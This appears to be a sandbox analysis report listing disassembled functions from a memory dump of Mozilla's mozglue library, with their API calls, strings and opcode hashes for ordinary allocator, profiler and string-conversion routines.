Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: e8c55a666ffb85049c964b89bf6ac8f675b3fe2f20a206159c43be82e416a549
Instruction ID: 842edd0758a2d11890469e6d06fc3a97d81f7e75f81413984fd7d611feb5a49c
Opcode Fuzzy Hash: e8c55a666ffb85049c964b89bf6ac8f675b3fe2f20a206159c43be82e416a549
Instruction Fuzzy Hash: 4921F379A02205EFDB009F64ED04A9A3739FB4636DF148214FD1987741DB36998ACBE2

Function 6CA88ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA4EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA8B392,?,?,00000001), ref: 6CA891F4

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

Strings

timeline-fileio, xrefs: 6CA890A4
timeline-ipc, xrefs: 6CA89096
stack-chart, xrefs: 6CA890B2
name, xrefs: 6CA88F16
data, xrefs: 6CA890E8
marker-chart, xrefs: 6CA8905E
timeline-memory, xrefs: 6CA89088
timeline-overview, xrefs: 6CA8907A
marker-table, xrefs: 6CA8906C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: e80770e3aee6aab4dabb6ef085ee602af5bb56cadd2a2849e05de5e5e1628f20
Instruction ID: 3011c644355615c0af64cc2efc5222e9c3f66cc81389290ca23f448f85ed2e72
Opcode Fuzzy Hash: e80770e3aee6aab4dabb6ef085ee602af5bb56cadd2a2849e05de5e5e1628f20
Instruction Fuzzy Hash: D4B1B3B0B022099BDB04CFA8CA517EEBBB5BF84318F148119D505ABF84D73199D9CBE1

Function 6CA6C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA6C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA6C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA6C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA6CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA6CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6CAA5

Strings

(null), xrefs: 6CA6C596
0, xrefs: 6CA6D30A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: a94b0753e7b305be1277b93a1b84e3cdbb3fe40cd598fd4e5d7ef15846642d77
Instruction ID: f68956d5ab12964a8c828e9607fa3bafc2cec9e22d9df337206b59273851293e
Opcode Fuzzy Hash: a94b0753e7b305be1277b93a1b84e3cdbb3fe40cd598fd4e5d7ef15846642d77
Instruction Fuzzy Hash: 06A19E316083429FDB00DF2AC55475ABBE1FF89748F18891DE899D7B41DB35E885CB82

Function 6CA6C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA6C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA6C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA6C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA6C891

Strings

inf, xrefs: 6CA6C78F
INF, xrefs: 6CA6C794
NAN, xrefs: 6CA6C7AD
nan, xrefs: 6CA6C7A8

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 704df82ed2ec8eb7b54b28689e434cabc65cfaa2ed8e40be9af594af8711bb6f
Instruction ID: 20bb0eb4af631d583cb85a32900c6cd572f6f2b4b824cfe5e7683699134270cb
Opcode Fuzzy Hash: 704df82ed2ec8eb7b54b28689e434cabc65cfaa2ed8e40be9af594af8711bb6f
Instruction Fuzzy Hash: C0519470A087408BDB049F2DC58529AFBF0BF8A348F048A2DE9D5A7A50E770D9C5CB43

Function 6CA44480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA84843,?), ref: 6CA445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA84843,?), ref: 6CA4468A
free.MOZGLUE(?,?,?,?,?,?,6CA84843,?), ref: 6CA446C9
free.MOZGLUE(?), ref: 6CA446EF
free.MOZGLUE(?), ref: 6CA44712
free.MOZGLUE(?), ref: 6CA44735
free.MOZGLUE(?), ref: 6CA44758
free.MOZGLUE(?), ref: 6CA4477B
free.MOZGLUE(?), ref: 6CA4479E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 61acef68041108c68cf146d6a916511bff5134158c3de222037e93bfcd88add0
Instruction ID: 8be0732f94014073f2b80ac1735a91dac5cb6540085bddea7fc13ef8a4b92af0
Opcode Fuzzy Hash: 61acef68041108c68cf146d6a916511bff5134158c3de222037e93bfcd88add0
Instruction Fuzzy Hash: BBB1E372A005508FDB18DF3CD9947AD77B2AF42328F188669E816DBF96D73098C48B91

Function 6CAAAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CAAAC52
CreateFileMappingW.KERNEL32 ref: 6CAAAC7D
GetSystemInfo.KERNEL32 ref: 6CAAAC98
MapViewOfFile.KERNEL32 ref: 6CAAACB0
GetSystemInfo.KERNEL32 ref: 6CAAACCD
MapViewOfFile.KERNEL32 ref: 6CAAAD05
UnmapViewOfFile.KERNEL32 ref: 6CAAAD1C
CloseHandle.KERNEL32 ref: 6CAAAD28
UnmapViewOfFile.KERNEL32 ref: 6CAAAD37
CloseHandle.KERNEL32 ref: 6CAAAD43
CloseHandle.KERNEL32 ref: 6CAAAD67

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 2ea08faf30eb4066553a3efca7139556fdc4fb78385f1e916effbb1157095f52
Instruction ID: f10cb6caa9d07c0999673e7837f172705af19d92d9a9d5680e121a11b050b6de
Opcode Fuzzy Hash: 2ea08faf30eb4066553a3efca7139556fdc4fb78385f1e916effbb1157095f52
Instruction Fuzzy Hash: 453173B19047058FDB04AF7CD64826EBBF1FF85705F018A2DE98587311EB749589CB82

Function 6CA59620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA59675
__Init_thread_footer.LIBCMT ref: 6CA59697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA59707
__Init_thread_footer.LIBCMT ref: 6CA5971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA59773

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA597B7
FreeLibrary.KERNEL32 ref: 6CA597D0
FreeLibrary.KERNEL32 ref: 6CA597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA59824

Strings

ntdll.dll, xrefs: 6CA596E3
NtMapViewOfSection, xrefs: 6CA59701
MapViewOfFileNuma2, xrefs: 6CA597B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA59670

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 693aca3321cc8cca9316b83426a053e63df0e6e94a3e01381034f34fd3675800
Instruction ID: d71af3242d0a0181be4efd4f707798e999817e2aa6b83394801e1f75c30b09b2
Opcode Fuzzy Hash: 693aca3321cc8cca9316b83426a053e63df0e6e94a3e01381034f34fd3675800
Instruction Fuzzy Hash: 4A4181B57003069FDF04CFA4ED84A9677B5FB49714F04C129ED199B740E730A9AACBA1

Function 6CA41E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE784), ref: 6CA41EC1
LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA41EE1
EnterCriticalSection.KERNEL32(6CACE744), ref: 6CA41F38
LeaveCriticalSection.KERNEL32(6CACE744), ref: 6CA41F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA41F83
LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA41FC0
EnterCriticalSection.KERNEL32(6CACE784), ref: 6CA41FE2
LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA41FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA42019

Strings

MOZ_CRASH(), xrefs: 6CA42000

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: f4393f02eaaf4fd8a965d642ee19b005acddbd348ea8012234dd6d6a84ba4e39
Instruction ID: 6f8fd2560570d9fca22bb1cff339ba33f8ca44a82dffef18eb9761a5f33aeb00
Opcode Fuzzy Hash: f4393f02eaaf4fd8a965d642ee19b005acddbd348ea8012234dd6d6a84ba4e39
Instruction Fuzzy Hash: A1410475B003068FDF149F6CC889BAA37B5FF49348F048126EA05D7B40DB7199A68BD6

Function 6CA57E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA57EA7
malloc.MOZGLUE(00000001), ref: 6CA57EB3

Part of subcall function 6CA5CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA5CB49
Part of subcall function 6CA5CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA5CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA57EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA57F19
malloc.MOZGLUE(?), ref: 6CA57F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA57F4D

Strings

d, xrefs: 6CA57F89

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 39d1fd1e4beabb874ec6768c854661d7045f2f276b8a00b0ad760028b37f6a79
Instruction ID: b07ff3248bff9a922249403063d62478ba9b3e1fbef5120de77644fb6274e076
Opcode Fuzzy Hash: 39d1fd1e4beabb874ec6768c854661d7045f2f276b8a00b0ad760028b37f6a79
Instruction Fuzzy Hash: 68314A71E0078997EB05DB28DC049FEB778EF95208F44D628DC49A7612FB31A6D9C390

Function 6CA53E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA53CCC), ref: 6CA53EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA53FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA53CCC), ref: 6CA54006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA540A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA53CCC), ref: 6CA540AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA53CCC), ref: 6CA540C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA54134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA53CCC), ref: 6CA54143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA53CCC), ref: 6CA54157

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5598f6c1d0ab9b623e8514a44702e251b1ce1a2ad7a437b90de1537cf0f77e13
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 57A192B1A01205CFDB40CF28C880659B7F5FF88308F698159D909AF742D776D8A6CFA0

Function 6CA42030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CA63F47,?,?,?,6CA63F47,6CA61A70,?), ref: 6CA4207F
memset.VCRUNTIME140(?,000000E5,6CA63F47,?,6CA63F47,6CA61A70,?), ref: 6CA420DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CA63F47,6CA61A70,?), ref: 6CA4211A
EnterCriticalSection.KERNEL32(6CACE744,?,6CA63F47,6CA61A70,?), ref: 6CA42145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CA63F47,6CA61A70,?), ref: 6CA421BA
EnterCriticalSection.KERNEL32(6CACE744,?,6CA63F47,6CA61A70,?), ref: 6CA421E0
LeaveCriticalSection.KERNEL32(6CACE744,?,6CA63F47,6CA61A70,?), ref: 6CA42232

Strings

MOZ_CRASH(), xrefs: 6CA4227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA42253, 6CA42268

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f01acee494a6350aee462d7bf269302fa58b73b5044c767c953b578418c6ad85
Instruction ID: 30fbcce1fa0d7ee12ec72b7cd5b2047786633277603bff49f944f6fa66c8f289
Opcode Fuzzy Hash: f01acee494a6350aee462d7bf269302fa58b73b5044c767c953b578418c6ad85
Instruction Fuzzy Hash: 6E61B431F002168FCB08CE6DC989B6E76B5AF85318F298339E524E7A94D7709D85CB91

Function 6CA448E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA8483A,?), ref: 6CA44ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA8483A,?), ref: 6CA44AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA8483A,?), ref: 6CA44A82

Part of subcall function 6CA5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA5CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA8483A,?), ref: 6CA44A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA8483A,?), ref: 6CA44A35

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA8483A,?), ref: 6CA44A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA8483A,?), ref: 6CA44AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA8483A,?), ref: 6CA44B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA8483A,?), ref: 6CA44B2C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: e77b081d58fe48c0f5b331c09b7800fc68ec62f0ec4a1e2cb24ca3d45a05d687
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: FE715CB190070A9FC754CF68C580AAAB7F5FF09308B508A3ED15ADBB51E731E599CB90

Function 6CA99D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA98273), ref: 6CA99D65
free.MOZGLUE(6CA98273,?), ref: 6CA99D7C
free.MOZGLUE(?,?), ref: 6CA99D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA99E0F
free.MOZGLUE(6CA9946B,?,?), ref: 6CA99E24
free.MOZGLUE(?,?,?), ref: 6CA99E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA99EC8
free.MOZGLUE(6CA9946B,?,?,?), ref: 6CA99EDF
free.MOZGLUE(?,?,?,?), ref: 6CA99EF5

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 47e85bfad212f8defd245040d029b5fa5942a8ccb25d2ff87d399ea6957e1520
Instruction ID: 54aa3d754a48f11a1cd3ff745e53970e2da30c2189eb5f1eaaf256b2ce04d08c
Opcode Fuzzy Hash: 47e85bfad212f8defd245040d029b5fa5942a8ccb25d2ff87d399ea6957e1520
Instruction Fuzzy Hash: 36718D70909B419FD712CF29C68155AF3F4FF99315B488619E85E5BB12EB30E8C9CB81

Function 6CA9DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA9DDCF

Part of subcall function 6CA7FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA7FA4B

Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA990FF
Part of subcall function 6CA990E0: free.MOZGLUE(?,00000000,?,?,6CA9DEDB), ref: 6CA99108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9DE0D
free.MOZGLUE(00000000), ref: 6CA9DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA8DEFD,?,6CA54A68), ref: 6CA9DF32

Part of subcall function 6CA9DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA9DB86
Part of subcall function 6CA9DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA9DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA8DEFD,?,6CA54A68), ref: 6CA9DF65
free.MOZGLUE(?), ref: 6CA9DF80

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02f579a37166ad5339eb49988af277c04f8f11d9a9b7aa49b6dab5e99b856ab4
